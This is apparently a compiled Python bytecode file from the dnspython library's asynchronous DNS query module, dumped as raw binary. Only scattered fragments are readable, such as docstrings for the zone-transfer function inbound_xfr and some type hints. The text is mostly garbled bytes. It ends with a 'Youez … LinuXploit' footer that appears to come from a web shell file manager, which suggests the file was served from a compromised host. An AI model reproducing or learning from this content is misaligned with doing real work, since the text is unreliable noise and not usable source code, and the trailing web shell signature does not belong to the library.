���!,�!4�!4�U�D�&�+�!V��"0��"9��U�J�)�5�5�g�>�>�F��v��k�k�$��-�-�-�#�^�^�J�z�,B�C�C���v��Y�Y�[�F�
�
�
�K�K�!�!���I�I��
�
�-�+�
"�
���z�*��%���
%�A�F��=�=������H�1��
��?����-��C����v�v�v��
��
�
�
����z�z�z�s�B)I�+G1�,I�/H/�?G4�H/�9H�<G7�=
H�G9
�H�H�!G;
�"!H�G=
�H�H�G?�H�,H/�7H�8<H/�4I�?H-�2I�4H/�7H�9H�;H�=H�?H�H�H
�H�H�H/�H*	�H!�H*	�&H/�-I�/I�5H8�6I�=I�txn_managerra�serialc�K�|jdj}|tjjk(}|j�}|j
�}	|jtjk(}
|
rIttjj|�}|j|	dt|���d{���n`ttjj|�}t!j"dt%|	��|	z}
|j'|
|��d{���tj(j+||||
�5}d}d}|s�t-|�\}}|�|�||kDr|}|
r)t|�}j/d|��d{���\}}nBt1d|��d{���}t!j2d|�\}t1|||��d{���}tj4j7||j8|j:d|||
|��}|j=|�}|���|j>}|s��|j8r+j@stjBjEd	��ddd�y7���7��X7��7��7��#1swYyxYw�w)
z'Given a socket, does the zone transfer.rNrzFr?rlT)r8r9�xfr�origin�tsig_ctx�multir7zmissing TSIG)#�question�rdtyper.�	rdatatype�IXFR�from_wire_originr1�typerr[rrW�DatagramSocketr2r'�StreamSocketr|�packrnrpr��Inboundrr@rxr}r/rBr8r\�process_messager��had_tsig�	exception�	FormError)r�rar=r�rOr%r��is_ixfrr�rF�is_udprdrerq�inbound�doner�rb�mexpiration�rwirer~rrIs                       r�_inbound_xfrr�(s0�����^�^�A�
�
%�
%�F���
�
�*�*�*�G�
�
)�
)�
+�F��=�=�?�D�
�V�V�v�(�(�
(�F�
���(�(�7�7��;���o�o�d�D�(�:�*>�?�?�?���(�(�5�5�q�9�����T�3�t�9�-��4�����v�z�2�2�2�	������f�f�f�	=�������-�g�6��Q���"��&�;��+C�(���"�;�/��#+�#4�#4�U�G�#D�D�
���+�H�a��E�E���}�}�T�5�1���+�H�a��E�E�����%�%���
�
�!�I�I���!�!�z�!(�&�	�A��*�*�1�-�D��G��z�z�H�3�4�=�=�����-�-�)�)�.�9�9�=
>�	=�	@��	3��E��E��E��
>�	=�s{�B9J	�;I1�<A J	�I4�&J	�AI=�I7�I=�I9�,I=�I;�A$I=�17I=�(
J	�4J	�7I=�9I=�;I=�=J�J	�lifetime�udp_modec

��K�|�#tjj|�\}}
ntjj|�}
tjj|�}t
|||�}||f}
|	stjj�}	t|�\}}|jdjtjjk(rn|tjk7r[|	j!|t"j$d||
t'|���d{���}|4�d{���	t)||||
||�23d{���}�
|	j!|t"j.d||
t'|���d{���}|4�d{���t)||||
||�23d{���}�
7��7�{7�c6	ddd��d{���7y#tjj*$r|tj,k(r�YnwxYwddd��d{���7��#1�d{���7swY��xYw7��7��7��6ddd��d{���7y#1�d{���7swYyxYw�w)amConduct an inbound transfer and apply it via a transaction from the
    txn_manager.

    *backend*, a ``dns.asyncbackend.Backend``, or ``None``.  If ``None``,
    the default, then dnspython will use the default backend.

    See :py:func:`dns.query.inbound_xfr()` for the documentation of
    the other parameters, exceptions, and return type of this method.
    Nr)r.r��
make_query�extract_serial_from_queryrTrUrrWrXrr�r�r�r�r�NEVERrZrr[r'r��UseTCP�ONLYr�)rNr�r=rrOrrPrQrrRr�rr_r`rbr%ras                 r�inbound_xfrr^s�����*
�}��'�'�,�,�[�9�������2�2�5�9��	���	 �	 ��	'�B�
�2�v�{�
3�F��T�]�F���"�"�6�6�8��$�X�.�O�Q�
��~�~�a����3�=�=�#5�#5�5�(�g�m�m�:S��%�%���!�!�1�f�f�h�z�6J�
�
���1�
�+���E�6�7�J� ��!���!�!�
�F����6�6�8�J�3G��	�A��q�#�K��E�6�7�J�W�	�!��'
������ ��
�1�1���7�7�>�>�
��w�|�|�+��,�
���1�1�1�1��	����	��W��q�q�q�q�s&�DI�F!�
I�'F#�(I�+H�-F;�=F'�F%�F'�F;�0I�7H�8
I�H�I�H2�H�H�H�H2�!I�#I�%F'�'F;�)I�4F7�5I�;1G/�,H�.G/�/H�2I�=H�>I�H�
H
�H�I�I�H�H2� I�+H.�,I�2I�8H;�9I�I)N)
NNFFNr FFFN)NrLNrFFFFNNF)NrLNrFFFNNNF)NFNr F)NrLNrFFNN)N�UNrFFNNNNT)
Nr	NrFFTNNT)Nr	NrFFNTNNN)V�__doc__r��
contextlibr�rr|r#�urllib.parser��typingrrrrrr�dns.asyncbackendr.�
dns.exception�dns.inet�dns.message�dns.name�dns.quic�	dns.rcode�dns.rdataclass�
dns.rdatatype�dns.transaction�dns._asyncbackendr	�	dns.queryr
rrr
rrrrrrrrr�rT�low_level_address_tuplerVrr'rWr�r/r0�bytes�float�intr5�bool�name�Name�tsig�KeyrKr��Backendrcr�rirrrxr�rg�
SSLContextr�r��	AF_UNSPECr�r�r�r��AsyncQuicConnection�transaction�TransactionManager�Socketr�rr�r r�<module>r+s��$�
��
�
�
���:�:�����������)�
�
�
�
����8�8�+�+��
� �#'�	�

�
�
�
)�
)��
����#�#�U�*�
+�������	�
�3��:���@"&�"&�#�"�;?�#&�!� %��+/�:0�

�
�
�
)�
)�:0��#��:0����:0��	:0�
�:0��d�3�8�8�=�=�#�(�(�,�,�6�7�
8�
:0��%��:0��:0��:0��:0��C�K�K�'�'�(�:0�	�:0�@ $�� ��#�"�!� %�6:�26��?�
�{�{���?��?��e�_�?��	?�

�S�M�?��
?��?��?��?��?��3�#�#�2�2�
3�?��c�&�&�.�.�
/�?��?�	�[�[���?�J $�� ��#�"�!�:>�8<�26��A �
�{�{���A ��A ��e�_�A ��	A �

�S�M�A ��
A ��A ��A ��A ��s�'�'�6�6�7�A ��s�'�'�4�4�5�A ��c�&�&�.�.�
/�A ��A ��3�;�;����$�%�A �N#'�$�

�
�
�
'�
'�$�
����#�#�U�*�
+�$����$��3��:��	$�2
� #'�"�;?�#&�!�
�

�
�
�
'�
'���������d�3�8�8�=�=�#�(�(�,�,�6�7�
8�	�
�%����
��3�;�;����%�&��B $�� ��"�!�48�26�5�
�{�{���5��5��e�_�5��	5�

�S�M�5��
5��5��5��3�#�#�0�0�
1�5��c�&�&�.�.�
/�5�	�[�[���5�v $�� ��"�!�48�26�,0�%)�#�C�
�{�{���C��C��e�_�C��	C�

�S�M�C��
C��C��C��3�#�#�0�0�
1�C��c�&�&�.�.�
/�C��#�.�.�)�C��c�]�C�
�$��)��C�	�[�[���C�L��3�4��!��" $�� ��"�!�,0���#�'+�7;��"�"� +� 3� 3�!c
�
�{�{���c
��c
��e�_�c
��	c
�

�S�M�c
��
c
��c
��c
�
�(�)�c
��c
��c
�
�$��)��c
� ��}�c
��3�4�c
�
�c
� �!c
�"	�[�[���#c
�T $�� ��"�!�#�26�"��2
�
�{�{���2
��2
�

�2
��e�_�	2
�
�2
�
�S�M�
2
��2
��2
��2
�
�$��)��2
��c�&�&�.�.�
/�2
��s�m�2
��2
�	�[�[���2
�p $�� ��"�!�9=�#�26�"�%)�A
�
�{�{���A
��A
��e�_�A
��	A
�

�S�M�A
��
A
��A
��A
�����5�5�6�A
�
�$��)��A
��c�&�&�.�.�
/�A
��s�m�A
��c�]�A
�	�[�[���A
�H3:����3�3�3:�
�����3:��;�;���3:�
�S�M�	3:�
�e�_�3:��
3:�	�3:�r,0��#� $� ���
�
�26�3��3����3�3�3��C�K�K�'�'�(�3��	3�
�e�_�3��u�o�
3�
�S�M�3��3��3��c�&�&�.�.�
/�3�
�3r 

Youez - 2016 - github.com/yon3zu
LinuXploit